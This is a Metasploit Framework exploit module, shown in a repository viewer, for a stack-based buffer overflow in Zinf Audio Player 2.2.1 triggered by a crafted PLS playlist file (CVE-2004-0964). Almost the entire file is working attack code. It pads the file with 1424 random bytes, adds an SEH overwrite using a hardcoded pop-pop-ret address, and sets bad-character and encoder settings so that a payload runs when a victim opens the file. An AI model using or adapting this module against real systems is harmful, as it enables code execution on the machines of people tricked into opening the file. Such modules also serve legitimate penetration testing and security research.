Statistics
| Branch: | Tag: | Revision:

root / modules / exploits / windows / fileformat / zinfaudioplayer221_pls.rb @ master

History | View | Annotate | Download (2.1 kB)

1
##
2
# $Id$
3
##
4

    
5
##
6
# This file is part of the Metasploit Framework and may be subject to
7
# redistribution and commercial restrictions. Please see the Metasploit
8
# web site for more information on licensing and terms of use.
9
#   http://metasploit.com/
10
##
11

    
12
require 'msf/core'
13

    
14
class Metasploit3 < Msf::Exploit::Remote
15
        Rank = GoodRanking
16

    
17
        include Msf::Exploit::FILEFORMAT
18
        include Msf::Exploit::Remote::Seh
19

    
20
        def initialize(info = {})
21
                super(update_info(info,
22
                        'Name'           => 'Zinf Audio Player 2.2.1 (PLS File) Stack Buffer Overflow',
23
                        'Description'    => %q{
24
                                        This module exploits a stack-based buffer overflow in the Zinf Audio Player 2.2.1.
25
                                An attacker must send the file to victim and the victim must open the file.
26
                                Alternatively it may be possible to execute code remotely via an embedded
27
                                PLS file within a browser, when the PLS extention is registered to Zinf.
28
                                This functionality has not been tested in this module.
29
                        },
30
                        'License'        => MSF_LICENSE,
31
                        'Author'         => [ 'Trancek <trancek[at]yashira.org>', 'patrick' ],
32
                        'Version'        => '$Revision$',
33
                        'References'     =>
34
                                [
35
                                        [ 'CVE', '2004-0964' ],
36
                                        [ 'OSVDB', '10416' ],
37
                                        [ 'URL', 'http://www.milw0rm.com/exploits/7888' ],
38
                                        [ 'BID', '11248' ],
39
                                ],
40
                        'Payload'        =>
41
                                {
42
                                        'Space'    => 800,
43
                                        'BadChars' => "\x00\x0a\x0d\x3c\x22\x3e\x3d",
44
                                        'EncoderType'   => Msf::Encoder::Type::AlphanumMixed,
45
                                        'StackAdjustment' => -3500,
46
                                },
47
                        'Platform' => 'win',
48
                        'Targets'        =>
49
                                [
50
                                        # Tested by patrick - 20090429 xpsp3
51
                                        [ 'Zinf Universal 2.2.1', { 'Ret' => 0x1204f514 } ], #pop esi; pop ebx; ret - ./Plugins/zinf.ui
52
                                ],
53
                        'Privileged'     => false,
54
                        'DisclosureDate' => 'Sep 24 2004',
55
                        'DefaultTarget'  => 0))
56

    
57
                register_options(
58
                        [
59
                                OptString.new('FILENAME', [ true, 'The file name.',  'exploit_zinf.pls']),
60
                        ], self.class)
61

    
62
        end
63

    
64
        def exploit
65
                seh = generate_seh_payload(target.ret)
66
                filepls = rand_text_alpha_upper(1424) + seh
67

    
68
                print_status("Creating '#{datastore['FILENAME']}' file ...")
69

    
70
                file_create(filepls)
71

    
72
        end
73

    
74
end